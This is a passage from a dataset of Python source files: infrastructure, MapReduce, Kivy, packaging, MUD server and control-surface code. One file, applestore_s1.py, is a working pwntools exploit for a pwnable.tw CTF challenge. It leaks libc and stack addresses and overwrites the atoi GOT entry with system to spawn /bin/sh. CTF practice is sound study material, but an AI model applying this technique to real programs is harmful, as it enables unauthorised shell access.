'SLES'\n\t\t\t\t\t\telif value == 'sle-sdk':\n\t\t\t\t\t\t\tself.name = 'SLE-SDK'\n\t\t\t\t\telif key == 'VERSION':\n\t\t\t\t\t\tself.vers = value\n\t\t\t\t\telif key == 'RELEASE':\n\t\t\t\t\t\tself.release = value\n\t\t\t\t\telif key == 'BASEARCHS':\n\t\t\t\t\t\tself.arch = value\n\n\t\t\tif not self.release:\n\t\t\t\tself.release = stack.release\n\t\t\tif not self.arch:\n\t\t\t\tself.arch = 'x86_64'\n\n\t\t\tfile.close()\n\n\t\tif self.name and self.vers:\n\t\t\treturn True\n\t\t\t\n\t\treturn False\n\n\n\tdef run(self, args):\n\n\t\t(clean, prefix)\t = args\n\n\t\tif not self.name:\n\t\t\traise CommandError(self, 'unknown SLES on media')\n\t\tif not self.vers:\n\t\t\traise CommandError(self, 'unknown SLES version on media')\n\t\t\t\n\t\tOS = 'sles'\n\t\troll_dir = os.path.join(prefix, self.name, self.vers, self.release, OS, self.arch)\n\t\tdestdir = roll_dir\n\n\t\tif clean and os.path.exists(roll_dir):\n\t\t\tself.owner.out.write('Cleaning %s version %s ' % (self.name, self.vers))\n\t\t\tself.owner.out.write('for %s from pallets directory\\n' % self.arch)\n\t\t\tif not self.owner.dryrun:\n\t\t\t\tos.system('/bin/rm -rf %s' % roll_dir)\n\t\t\t\tos.makedirs(roll_dir)\n\n\t\tself.owner.out.write('Copying \"%s\" (%s,%s) pallet ...\\n' % (self.name, self.vers, self.arch))\n\n\t\tif not self.owner.dryrun:\n\t\t\tif not os.path.exists(destdir):\n\t\t\t\tos.makedirs(destdir)\n\n\t\t\tcmd = 'rsync -a --exclude \"TRANS.TBL\" %s/ %s/' \\\n\t\t\t\t% (self.owner.mountPoint, destdir)\n\t\t\tsubprocess.call(shlex.split(cmd))\n\n\n\t\t\t#\n\t\t\t# create roll-.xml file\n\t\t\t#\n\t\t\txmlfile = open('%s/roll-%s.xml' % (roll_dir, self.name), 'w')\n\n\t\t\txmlfile.write('\\n' % self.name)\n\t\t\txmlfile.write('\\n')\n\t\t\txmlfile.write('\\n' % (self.vers, self.release, self.arch, OS))\n\t\t\txmlfile.write('\\n')\n\t\t\txmlfile.write('\\n')\n\t\t\txmlfile.write('\\n')\n\n\t\t\txmlfile.close()\n\n\t\t# Copy SLES Pallet patches into the SLES pallet directory\n\t\tpatch_dir = '/opt/stack/%s-pallet-patches/%s/%s' % (self.name, self.vers, self.release)\n\t\tif os.path.exists(patch_dir):\n\t\t\tself.owner.out.write(\"Patching SLES pallet\\n\")\n\t\t\tif not self.owner.dryrun:\n\t\t\t\tcmd = 'rsync -a %s/ %s/' % (patch_dir, destdir)\n\t\t\t\tsubprocess.call(shlex.split(cmd))\n\n\n\t\treturn (self.name, self.vers, self.release, self.arch, OS)\n\n","sub_path":"common/src/stack/command/stack/commands/add/pallet/imp_foreign_sles.py","file_name":"imp_foreign_sles.py","file_ext":"py","file_size_in_byte":3033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"45409565","text":"#!/usr/bin/python\n\nimport sys\n\ncurrent_word = \"\"\ncurrent_document = \"\"\n\nfirst_line = 1\n\ndocument_names = []\nword_counts = []\noutput_tuples = \"\"\n\nword = \"\"\ndocument = \"\"\n\nfor line in sys.stdin:\n #input = ':' pairs\n #output = '::{(,), ..}'\n line = line.strip()\n word, document = line.split(':')\n \n if first_line:\n current_word = word\n current_document = document\n word_counts.append(0)\n document_names.append(document)\n first_line = 0\n \n if word == current_word and document == current_document:\n word_counts[-1] += 1\n elif word == current_word:\n word_counts.append(1)\n document_names.append(document)\n \n current_document = document\n else:\n for i in range(0, len(document_names)):\n output_tuples += \"({0},{1}) \".format(document_names[i],word_counts[i])\n \n \n print(\"{0}:{1}:{{{2}}}\".format(current_word, len(document_names), output_tuples[:-1]))\n\n \n document_names = []\n word_counts = []\n output_tuples = \"\"\n \n current_word = word\n current_document = document\n \n word_counts.append(1)\n document_names.append(document)\n \n#handle last line\nfor i in range(0, len(document_names)):\n output_tuples += \"({0},{1}) \".format(document_names[i],word_counts[i])\n \nprint(\"{0}:{1}:{{{2}}}\".format(current_word, len(document_names), output_tuples[:-1]))","sub_path":"EXC/cwk2/1-reducer.py","file_name":"1-reducer.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"184994447","text":"__all__ = ('rest_of_touch_moves', )\n\nimport types\n\n\nasync def rest_of_touch_moves(\n widget, touch, *, stop_dispatching=False, timeout=1.):\n '''\n Returns an async-generator that iterates the number of times\n `on_touch_move` is fired, and ends when `on_touch_up` is fired. Grabs and\n ungrabs the touch automatically. If `stop_dispatching` is True, the touch\n will never be dispatched further i.e. the next widget will never get this\n touch until the generator ends. If `on_touch_up` was already fired,\n `MotionEventAlreadyEndedError` will be raised.\n '''\n from asynckivy import (\n or_, sleep, event, get_step_coro, MotionEventAlreadyEndedError,\n )\n\n if touch.time_end != -1:\n # `on_touch_up` might have been already fired so we need to find out\n # it actually was or not.\n tasks = await or_(\n sleep(timeout),\n event(widget, 'on_touch_up', filter=lambda w, t: t is touch),\n )\n if tasks[0].done:\n raise MotionEventAlreadyEndedError(\n f\"MotionEvent(uid={touch.uid}) has already ended\")\n else:\n return\n\n step_coro = await get_step_coro()\n if stop_dispatching:\n def _on_touch_up(w, t):\n if t is touch:\n if t.grab_current is w:\n t.ungrab(w)\n step_coro(False)\n return True\n\n def _on_touch_move(w, t):\n if t is touch:\n if t.grab_current is w:\n step_coro(True)\n return True\n else:\n def _on_touch_up(w, t):\n if t.grab_current is w and t is touch:\n t.ungrab(w)\n step_coro(False)\n return True\n\n def _on_touch_move(w, t):\n if t.grab_current is w and t is touch:\n step_coro(True)\n return True\n\n touch.grab(widget)\n uid_up = widget.fbind('on_touch_up', _on_touch_up)\n uid_move = widget.fbind('on_touch_move', _on_touch_move)\n assert uid_up\n assert uid_move\n\n # assigning to a local variable might improve performance\n true_if_touch_move_false_if_touch_up = \\\n _true_if_touch_move_false_if_touch_up\n\n try:\n while await true_if_touch_move_false_if_touch_up():\n yield touch\n finally:\n touch.ungrab(widget)\n widget.unbind_uid('on_touch_up', uid_up)\n widget.unbind_uid('on_touch_move', uid_move)\n\n\n@types.coroutine\ndef _true_if_touch_move_false_if_touch_up() -> bool:\n return (yield lambda step_coro: None)[0][0]\n","sub_path":"asynckivy/_rest_of_touch_moves.py","file_name":"_rest_of_touch_moves.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"480722828","text":"# coding: utf-8\n# Distributed under MIT License\n\nimport sys\nimport platform\n\nfrom setuptools import setup, find_packages#, Extension\n#from setuptools.command.build_ext import build_ext as _build_ext\n\n\n\nextra_link_args = []\nif sys.platform.startswith('win') and platform.machine().endswith('64'):\n extra_link_args.append('-Wl,--allow-multiple-definition')\n\nlong_desc = \"\"\"\nHetero_Ct (Heterogeneous Catalysis) is a open-source Python library\nfor microkinetic modeling of heterogeneous catalyst reactions. \n\"\"\"\n\nsetup(\n name=\"hetero_ct\",\n packages=find_packages(),\n version=\"0.0.1\",\n #cmdclass={'build_ext': build_ext},\n setup_requires=['numpy>=1.14.3', 'setuptools>=18.0', 'cantera>=2.4.0'],\n install_requires=[\"numpy>=1.14.3\", 'cantera>=2.4.0',\n \"monty>=0.9.6\", \"scipy>=1.0.1\", \n \"matplotlib>=1.5\", \"palettable>=2.1.1\"],\n #extras_require={\n # ':python_version == \"2.7\"': [\n # 'enum34',\n # ],\n # \"provenance\": [\"pybtex\"],\n # \"vis\": [\"vtk>=6.0.0\"],\n # },\n #package_data=None,\n author=\"Bharat Medasani\",\n author_email=\"mbkumar@gmail.com\",\n maintainer=\"Bharat Medasani\",\n maintainer_email=\"mbkumar@gmail.com\",\n #url=None,\n license=\"MIT\",\n description=\"Hetero_Ct is a microkinetic modeling software targeting \"\n \"heterogeneous catalysis. It is based on Cantera.\",\n long_description=long_desc,\n #keywords=[\"microkinetic modeling\", \"heterogeneous catalysis\", \"catalysis\", \"science\",\n # \"project\", \"surface\"],\n classifiers=[\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 2.7\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Development Status :: 0 - Alpha\",\n \"Intended Audience :: Science/Research\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Topic :: Scientific/Engineering :: Information Analysis\",\n \"Topic :: Scientific/Engineering :: Chemical Engineering\",\n \"Topic :: Software Development :: Libraries :: Python Modules\"\n ]#,\n #ext_modules=None,\n #entry_points=None\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"97417242","text":"#!/usr/bin/env python3\n\nimport glob\nimport os\nimport shutil\nimport subprocess\n\n# Overall script settings\nbinder_executable = glob.glob(\n f\"{os.getcwd()}/../../binder/build/llvm-4.0.0/build_4.0.0*/bin/binder\"\n)[0]\n\nbindings_dir = \"tmp_bindings\"\nbinder_source = f\"{os.getcwd()}/../../binder/source\"\npybind_source = f\"{os.getcwd()}/../../binder/build/pybind11/include\"\nuse_pybind_stl = True\nthis_project_source = f\"{os.getcwd()}/../dependencies/bgfx/3rdparty/dear-imgui\"\nthis_project_include = this_project_source\nthis_project_namespace_to_bind = \"ImGui\"\npython_module_name = \"bgfx_python\"\n\n\ndef make_bindings_code(all_includes_file):\n shutil.rmtree(bindings_dir, ignore_errors=True)\n os.mkdir(bindings_dir)\n command = (\n f\"{binder_executable} --root-module {python_module_name} \"\n f\"--prefix {os.getcwd()}/{bindings_dir}/ \"\n f\"--bind {this_project_namespace_to_bind} \"\n \"--single-file \"\n + (\"--config config.cfg \" if use_pybind_stl else \"\")\n + f\" {all_includes_file} -- -std=c++14 \"\n f\"-I{this_project_include} \"\n f\"-I{this_project_include}/widgets \"\n f\"-I{this_project_include}/../ \"\n f\"-DNDEBUG -v\"\n ).split()\n\n print(\" \".join(command))\n\n subprocess.call(command)\n\n\ndef main():\n all_includes_file = \"./all_cmake_includes_imgui.hpp\"\n make_bindings_code(all_includes_file)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/make_imgui_bindings.py","file_name":"make_imgui_bindings.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"607751529","text":"import json\nimport base64\nfrom files import Files\n\nclass Client_machine:\n def __init__(self):\n self.files = Files()\n \n def run(self, json_proses):\n objek = json.loads(json_proses)\n massage = {}\n try:\n perintah = objek['perintah']\n if perintah == 'list':\n massage['list'] = self.files.list_file()\n respon = 'Berhasil'\n elif perintah == 'upload':\n filename = objek['filename']\n data = objek['isi']\n isi = data.encode()\n ret_val = self.files.upload_file(filename, isi)\n respon = 'Berhasil' if ret_val else 'File sudah tersedia'\n elif perintah == 'download':\n filename = objek['filename']\n ret_val, binary = self.files.download_file(filename)\n isi = binary.decode()\n massage['isi'] = isi\n respon = 'Berhasil' if ret_val else 'File tidak ditemukan'\n else:\n respon = 'Perintah salah'\n except:\n print(e.what())\n respon = 'ERROR'\n finally:\n massage['respon'] = respon\n return json.dumps(massage)\nif __name__=='__main__':\n cm = Client_machine()\n","sub_path":"Tugas4/client_machine.py","file_name":"client_machine.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"40625912","text":"from collections import OrderedDict\n\nF_COL = u'features'\nCOL = 'normalized_features'\n\n\ndef normalize_df(df):\n df[COL] = df[F_COL].apply(lambda l: [x.lower() for x in l])\n\n\ndef lambda_in(in_arr):\n def is_in(l):\n for f in l:\n for t in in_arr:\n if t in f:\n return 1\n\n return 0\n\n return is_in\n\n\ndef lambda_equal(val):\n def is_equal(l):\n for f in l:\n if f.strip() == val:\n return 1\n\n return 0\n\n return is_equal\n\n\ndef lambda_two_arr(arr1, arr2):\n def is_in(l):\n for f in l:\n for x in arr1:\n for y in arr2:\n if x in f and y in f:\n return 1\n return 0\n\n return is_in\n\n\nGROUPING_MAP=OrderedDict(\n [('elevator', {'vals': ['elevator'], 'type': 'in'}),\n ('hardwood floors', {'vals': ['hardwood'], 'type': 'in'}),\n ('cats allowed', {'vals': ['cats'], 'type': 'in'}),\n ('dogs allowed', {'vals': ['dogs'], 'type': 'in'}),\n ('doorman', {'vals': ['doorman', 'concierge'], 'type': 'in'}),\n ('dishwasher', {'vals': ['dishwasher'], 'type': 'in'}),\n ('laundry in building', {'vals': ['laundry'], 'type': 'in'}),\n ('no fee', {'vals': ['no fee', 'no broker fee', 'no realtor fee'], 'type': 'in'}),\n ('reduced fee', {'vals': ['reduced fee', 'reduced-fee', 'reducedfee'], 'type': 'in'}),\n ('fitness center', {'vals': ['fitness'], 'type': 'in'}),\n ('pre-war', {'vals': ['pre-war', 'prewar'], 'type': 'in'}),\n ('roof deck', {'vals': ['roof'], 'type': 'in'}),\n ('outdoor space',{'vals': ['outdoor space', 'outdoor-space', 'outdoor areas', 'outdoor entertainment'], 'type': 'in'}),\n ('common outdoor space',{'vals': ['common outdoor', 'publicoutdoor', 'public-outdoor', 'common-outdoor'], 'type': 'in'}),\n ('private outdoor space', {'vals': ['private outdoor', 'private-outdoor', 'privateoutdoor'], 'type': 'in'}),\n ('dining room', {'vals': ['dining'], 'type': 'in'}),\n ('high speed internet', {'vals': ['internet'], 'type': 'in'}),\n ('balcony', {'vals': ['balcony'], 'type': 'in'}),\n ('swimming pool', {'vals': ['swimming', 'pool'], 'type': 'in'}),\n ('new construction', {'vals': ['new construction'], 'type': 'in'}),\n ('terrace', {'vals': ['terrace'], 'type': 'in'}),\n ('exclusive', {'vals': ['exclusive'], 'type': 'equal'}),\n ('loft', {'vals': ['loft'], 'type': 'in'}),\n ('garden/patio', {'vals': ['garden'], 'type': 'in'}),\n ('wheelchair access', {'vals': ['wheelchair'], 'type': 'in'}),\n ('fireplace', {'vals': ['fireplace'], 'type': 'in'}),\n ('simplex', {'vals': ['simplex'], 'type': 'in'}),\n ('lowrise', {'vals': ['lowrise', 'low-rise'], 'type': 'in'}),\n ('garage', {'vals': ['garage'], 'type': 'in'}),\n ('furnished', {'vals': ['furnished'], 'type': 'equal'}),\n ('multi-level', {'vals': ['multi-level', 'multi level', 'multilevel'], 'type': 'in'}),\n ('high ceilings', {'vals': ['high ceilings', 'highceilings', 'high-ceilings'], 'type': 'in'}),\n ('parking space', {'vals': ['parking'], 'type': 'in'}),\n ('live in super', {'vals': ['super'], 'vals2': ['live', 'site'], 'type': 'two'}),\n ('renovated', {'vals': ['renovated'], 'type': 'in'}),\n ('green building', {'vals': ['green building'], 'type': 'in'}),\n ('storage', {'vals': ['storage'], 'type': 'in'}),\n ('washer', {'vals': ['washer'], 'type': 'in'}),\n ('stainless steel appliances', {'vals': ['stainless'], 'type': 'in'})])\n\n\ndef process_features(df):\n new_cols=[]\n for col, m in GROUPING_MAP.iteritems():\n new_cols.append(col)\n tp = m['type']\n if tp == 'in':\n df[col] = df[COL].apply(lambda_in(m['vals']))\n elif tp=='equal':\n df[col] = df[COL].apply(lambda_equal(m['vals'][0]))\n elif tp=='two':\n df[col] = df[COL].apply(lambda_two_arr(m['vals'], m['vals2']))\n else:\n raise Exception()\n\n return df, new_cols\n\ndef process_additional_features(df, l):\n new_cols=[]\n for col in l:\n new_col = '{}__add'.format(col)\n df[new_col] = df[COL].apply(lambda_equal(col))\n\n return df, new_cols","sub_path":"old_trash/old_src/old/features2/grouping_features.py","file_name":"grouping_features.py","file_ext":"py","file_size_in_byte":4185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"631757652","text":"from pwn import *\n\ns = remote(\"chall.pwnable.tw\", 10104)\n\ns.recv()\ndef iphone8():\n\tfor i in range(6):\n\t\ts.sendline(\"2\") # add\n\t\ts.recv()\n\t\ts.sendline(\"1\") # iphone6\n\t\ts.recv()\n\tfor i in range(20):\n\t\ts.sendline(\"2\") # add\n\t\ts.recv()\n\t\ts.sendline(\"2\") # iphone 6 plus\n\t\ts.recv()\n\ts.sendline(\"5\") # checkout\n\ts.recv()\n\ts.sendline(\"y\") # yes\n\ts.recv()\n\ngot_atoi = 0x0804b040\ngot_libc = 0x0804b034\nmycart = 0x0804b068\t\ncompleted = 0x0804b064\n\n# setup to get iphone8\niphone8()\n# delete to leak libc_start_main address\npayload1 = p32(0x0804b033) + \"\\x00\"*8 + p32(mycart) # delete\ns.sendline(payload1)\ns.recv()\ns.sendline(\"28\")\n\n# leaking system address and environ address\narev = s.recv()\nlibc_addr = u32(arev[11:15])\nsys_addr = libc_addr - 0x00018540 + 0x0003a940\n# libc_environment\n# with environ address we will have address of stack\nenviron_addr = libc_addr - 0x00018540 + 0x001b1dbc\n\n\niphone8()\n# delete to set environ_addr to completed memory\npayload2 = p32(0x0804b033) + \"\\x00\"*4 + p32(completed-0xc) + p32(environ_addr)\ns.sendline(payload2)\ns.recv()\ns.sendline(\"28\")\ns.recv()\n\n# set completed as fd in the 28th element in linked list\npayload3 = p32(0x0804b034) + \"\\x00\"*4 + p32(completed) + p32(mycart)\n# call cart() function to list all element in the linked list \ns.sendline(payload3)\npayload4 = \"ya\" + p32(0x0804b030) \ns.sendline(payload4)\ns.recvuntil(\"29: \")\n# we care about the 29th element because it will print stack environment address\nstack_env = u32(s.recv()[:4])\nebp_delete = stack_env - 0x104 \n\n# delete to turn into the beginning\npayload5 = p32(0x0804b033) + \"\\x00\"*8 + p32(mycart)\ns.sendline(payload5)\ns.recv()\ns.sendline(\"28\")\ns.recv()\n\n\niphone8()\n# delete to set ebp value point to GOT when leaving delete() function\n# ebp_in_GOT\npayload6 = p32(0x0804b033) + \"\\x00\"*4 + p32(ebp_delete - 0xc) + p32(got_atoi + 0x22)\ns.sendline(payload6)\ns.recv()\ns.sendline(\"28\")\ns.recv()\n\n# override got atoi() with system() and execute with payload7 argument\npayload7 = p32(sys_addr) + \";/bin/sh\"\ns.sendline(payload7)\n\ns.interactive()\n\ns.close()\n","sub_path":"applestore_s1.py","file_name":"applestore_s1.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"516068718","text":"\"\"\" Subscriptions are methods which handle the interaction and manipulation\nof :class:`things `.\n\nEvery method in this module is added to :attr:`qtmud.subscribers` when\n:func:`qtmud.start`. Calls to these methods which have been :func:`scheduled\n` as :attr:`events ` will be called when\n:func:`qtmud.tick` is called.\n\"\"\"\n\nimport qtmud\n\n\ndef broadcast(channel, speaker, message):\n \"\"\" Send a message from speaker to everyone on the channel. \"\"\"\n if not message:\n qtmud.schedule('send', recipient=speaker,\n text='syntax: {0} \\n'\n 'Sends `message` to everyone tuned into `{0}`'\n ''.format(channel))\n else:\n qtmud.active_services['talker'].broadcast(channel=channel,\n speaker=speaker.name,\n message=message)\n return True\n\n\ndef client_disconnect(client):\n \"\"\" Handle removing a client from qtMUD\n\n .. warning:: This is likely buggy and going to change\n \"\"\"\n mudsocket = qtmud.active_services['mudsocket']\n qtmud.log.debug('disconnecting %s from qtmud.', client.name)\n for other in qtmud.connected_clients:\n qtmud.schedule('send',\n recipient=other,\n text='{} disconnected.'.format(client.name))\n try:\n qtmud.connected_clients.remove(client)\n except ValueError:\n pass\n socket = mudsocket.get_socket_by_thing(client)\n if socket:\n mudsocket.clients.pop(socket)\n mudsocket.connections.remove(socket)\n return True\n\n\ndef client_login_parser(client, line):\n \"\"\" Handle logs-in for arriving players - right now, just a basic check\n against qtmud.client_accounts to see if the client is there already.\n \"\"\"\n output = ''\n #####\n #\n # start login process\n #\n #####\n if not hasattr(client, 'login_stage'):\n client.login_stage = 0\n output = 'Input [desired] client name and press .'\n #####\n #\n # check if client exits\n #\n #####\n elif client.login_stage == 0:\n if line in qtmud.client_accounts.keys():\n output = ('There\\'s a client named {}, if you\\'re them, type your '\n 'password and press '.format(line))\n client.login_stage = 2\n elif line:\n output = ('No client named {}, going to make an account with that '\n 'name. Type your desired password and press .'\n ''.format(line))\n client.login_stage = 1\n else:\n output = ('Your client name can\\'t be blank. Input what name '\n 'you\\'d like to use and press .')\n client.name = line\n #####\n #\n # register new client\n #\n #####\n elif client.login_stage == 1:\n qtmud.client_accounts[client.name] = {'password': line}\n qtmud.save_client_accounts()\n client.login_stage = 9\n output = ('Client account registered with name {}, press '\n ' to finish logging in.'.format(client.name))\n #####\n #\n # login existing account\n #\n #####\n elif client.login_stage == 2:\n if line == qtmud.client_accounts[client.name]['password']:\n client.login_stage = 9\n output = ('That\\'s the correct password, press to finish '\n 'logging in.')\n else:\n client.login_stage = 0\n output = ('That\\'s not the right password for that account - '\n 'type your [desired] client name and press .')\n elif client.login_stage == 9:\n if qtmud.MUDLIB:\n client.input_parser = 'client_mudlib_login_parser'\n else:\n client.input_parser = 'client_command_parser'\n qtmud.active_services['talker'].tune_channel(client=client,\n channel='one')\n qtmud.connected_clients.append(client)\n for c in qtmud.connected_clients:\n qtmud.schedule('send', recipient=c,\n text='`{}` has connected'.format(client.name))\n if output:\n qtmud.schedule('send', recipient=client, text=output)\n return True\n\n\ndef shutdown():\n \"\"\" Handles qtMUD shutting down. \"\"\"\n qtmud.log.debug('shutdown() occurring')\n for client in qtmud.connected_clients:\n qtmud.schedule('client_disconnect', client=client)\n while True:\n if qtmud.events:\n qtmud.log.debug('processing final events %s', qtmud.events)\n qtmud.tick()\n else:\n break\n for service in qtmud.active_services:\n service = qtmud.active_services[service]\n qtmud.log.debug('shutdown()ing %s', service.__class__.__name__)\n try:\n service.shutdown()\n qtmud.log.debug('shutdown() %s successfully',\n service.__class__.__name__)\n except Exception as err:\n qtmud.log.warning('%s failed to shutdown: %s',\n service.__class__.__name__, err)\n qtmud.log.info('shutdown() finished, raising SystemExit')\n raise SystemExit\n\n\ndef client_input_parser(client, line):\n \"\"\" Pushes a client's input to their designated parser subscription.\n \"\"\"\n qtmud.schedule('{}'.format(client.input_parser), client=client, line=line)\n return True\n\n\ndef client_command_parser(client, line):\n \"\"\" Once a client has logged in, this method handles parsing their input.\n \"\"\"\n if line:\n spl = line.split(' ')\n command = spl[0]\n if command in client.commands:\n if len(spl) > 1:\n targs = spl[1:]\n else:\n targs = []\n kwargs = {}\n args = []\n for arg in targs:\n if arg.startswith('--'):\n if '=' in arg:\n targ = arg[2:].split('=', 1)\n if len(targ) == 2:\n kwargs[targ[0]] = targ[1]\n elif arg.startswith('-'):\n for char in arg[1:]:\n kwargs[char] = True\n else:\n args.append(arg)\n try:\n client.commands[command](*args, **kwargs)\n except (SyntaxWarning, SyntaxError, TypeError) as err:\n qtmud.schedule('send', recipient=client,\n text='{} command failed: {}'\n ''.format(command, err))\n client.commands[command](h=True)\n qtmud.log.warning('%s\\'s %s command failed: %s', client.name,\n command, err, exc_info=True)\n elif command in client.channels:\n message = ' '.join(spl[1:])\n qtmud.schedule('broadcast', channel=command,\n speaker=client,\n message=message)\n else:\n qtmud.schedule('send',\n recipient=client,\n text=('{} is not a valid command; check '\n '\"commands\" for your commands.'\n ''.format(command)))\n return True\n\n\ndef send(recipient, text):\n \"\"\" Prepares text to be sent to the recipient\n\n :param recipient: expected to be a :class:`thing `,\n specifically one with a send_buffer. (In qtmud, this\n is only clients, though mudlibs may have more things\n with send_buffers.\n :param text: the text to be appended to the recipient's send_buffer\n :return: True if text is added to recipient's send_buffer, otherwise False.\n \"\"\"\n if hasattr(recipient, 'send_buffer'):\n recipient.send_buffer += qtmud.pinkfish_parse(('{}\\n'.format(text)))\n","sub_path":"qtmud/subscriptions.py","file_name":"subscriptions.py","file_ext":"py","file_size_in_byte":7976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"4954847","text":"from mp2f12.F12.common import RHF_MP2F12\nimport numpy as np\nimport scipy as sp\nfrom mp2f12.tools.misc import *\nfrom mp2f12.matrices.C import matrices\n\n# Approximation 3C\nclass C(RHF_MP2F12):\n def EF12(self):\n if self.mat is None:\n self.mat = matrices(self.xmol)\n if self.eF12 is None:\n x = self.xmol.no\n v = self.xmol.nv\n c = self.xmol.nc\n eps = np.array(self.xmol._vhf.mo_energy).reshape(x + v, 1)\n eij = eps[:x] + eps[:x].T\n ef12 = 0\n for i in xrange(x):\n for j in xrange(x):\n # c^ij\n tB = self.mat.B - eij[i, j] * self.mat.X + np.einsum('ab,xyab,abvw->xyvw', self.mat.ieps[:, :, i, j], self.mat.C, self.mat.C.transpose(2,3,0,1).conj())\n tV = self.mat.V[:, :, i, j] + np.einsum('ab,xyab,ab->xy', self.mat.ieps[:, :, i, j], self.mat.C, self.mat.g[:, :, i, j])\n cij = sp.linalg.solve(-tB.reshape(x * x, -1), tV.reshape(-1), overwrite_a = True)\n ef12 += np.dot(np.conj(2.0 * tV - tV.T).reshape(-1), cij.reshape(-1))\n \n \n \n # TODO\n self.eF12 = ef12# + self.E1()\n return self.eF12\n def E1(self):\n if self.mat is None:\n self.mat = matrices(self.xmol)\n Fcx = self.mat.Fcx\n Fcv = self.mat.Fca\n Fcc = self.mat.Fcc\n e1 = 0\n for i in xrange(self.xmol.no):\n ei = self.xmol._vhf.mo_energy[i]\n ie = np.empty((self.xmol.nv, 1))\n for a in xrange(self.xmol.nv):\n ie[a] = 1.0 / (ei - self.xmol._vhf.mo_energy[a + self.xmol.no])\n A = Fcc - ei * np.eye(self.xmol.nc) + np.einsum('a,pa,aq->pq', ie.reshape(-1), Fcv, HerConj(Fcv))\n b = -Fcx[:, i]\n ti = sp.linalg.solve(A, b, overwrite_a = True, overwrite_b = True)\n e1 += np.dot(ti.reshape(-1), Fcx.conj().reshape(-1))\n return e1 * 2.0\n # load matrices from file\n def loadmat(self, fn):\n self.mat = vir_mats()\n mats = np.load(fn)\n self.mat.B = mats['B']\n self.mat.V = mats['V']\n self.mat.X = mats['X']\n self.mat.C = mats['C']\n self.mat.g = mats['g']\n self.mat.ieps = mats['ieps']\n self.mat.Fcx = mats['Fcx']\n self.mat.Fca = mats['Fca']\n self.mat.Fcc = mats['Fcc']\n\nclass vir_mats(object):\n def __init__(self):\n self.B = None\n self.V = None\n self.X = None\n self.C = None\n self.g = None\n self.ieps = None\n self.Fcx = None\n self.Fca = None\n self.Fcc = None\n\nif __name__ == '__main__':\n # build a mole\n from pyscf import gto, scf, mp\n mol = gto.Mole()\n mol.atom = [\n #[8 , (0. , 0. , 0.)],\n [1 , (0. , -0.757 , 0.587)],\n #[1 , (0. , 0.757 , -0.587)],\n #[1 , (0. , -0.757 , -0.587)],\n [1 , (0. , 0.757 , 0.587)]]\n mol.basis = 'cc-pvdz-f12'\n mol.verbose = 0\n mol.build()\n mf = scf.RHF(mol)\n mf.kernel()\n # build a xmole\n import mp2f12\n xmol = mp2f12.xMole(mf, name = 'H2', CABSp = False)\n \n F12FIX = C(xmol)\n import os\n curdir = os.path.dirname(os.path.realpath(__file__))\n \n #F12FIX.mat = matrices(xmol, loadAO = curdir + '/../debug/data/3C_H2O/', savedir = curdir + '/../debug/data/3C_H2O/')\n #F12FIX.loadmat(curdir + '/../debug/data/3C_H2O/matrices.npz')\n ef12 = F12FIX.EF12()\n print('HF energy')\n print(F12FIX.EHF())\n print('MP2 correlation energy')\n print(F12FIX.EMP2())\n print('F12 energy')\n print(ef12)\n print('total')\n print(F12FIX.eHF + F12FIX.eMP2 + F12FIX.eF12)\n \n print('Compare with cc-pvqz-f12 MP2:')\n mol.basis = 'cc-pvqz-f12'\n mol.build()\n mf = scf.RHF(mol)\n mf.kernel()\n mp2 = mp.MP2(mf)\n print(mp2.kernel()[0] + mf.e_tot)\n ","sub_path":"mp2f12/F12/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":3898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"609456364","text":"\r\n\r\nimport Live\r\n\r\nfrom _Generic.Devices import *\r\n\r\nfrom _Framework.ControlSurfaceComponent import ControlSurfaceComponent\r\nfrom _Framework.ButtonElement import ButtonElement\r\n\r\nfrom _Mono_Framework.Live8DeviceComponent import Live8DeviceComponent as DeviceComponent\r\n\r\nclass CodecDeviceComponent(DeviceComponent):\r\n\t__doc__ = ' Class representing a device in Live '\r\n\t\r\n\r\n\r\n\tdef __init__(self, script, *a, **k):\r\n\t\tsuper(CodecDeviceComponent, self).__init__(*a, **k)\r\n\t\tself._script = script\r\n\t\tself._display_device_button = None\r\n\t\tself._prev_button = None\r\n\t\tself._next_button = None\r\n\t\t\r\n\t\r\n\r\n\tdef _lock_value(self, value):\r\n\t\tif not self._script._shift_pressed and self.is_enabled():\r\n\t\t\tassert (self._lock_button != None)\r\n\t\t\tassert (value != None)\r\n\t\t\tassert isinstance(value, int)\r\n\t\t\tif not self._lock_button.is_momentary() or value is not 0:\r\n\t\t\t\tself._locked_to_device = not self._locked_to_device\r\n\t\t\t\tself.update()\r\n\t\r\n\r\n\tdef set_lock_to_device(self, lock, device):\r\n\t\t#self._script.log_message(str(lock) + ' ' + str(device))\r\n\t\tassert isinstance(lock, type(False))\r\n\t\tif lock is True:\r\n\t\t\tif not self.is_locked():\r\n\t\t\t\tself.set_device(device)\r\n\t\t\tself._locked_to_device = not self._locked_to_device\r\n\t\t\tif self.is_enabled():\r\n\t\t\t\tif 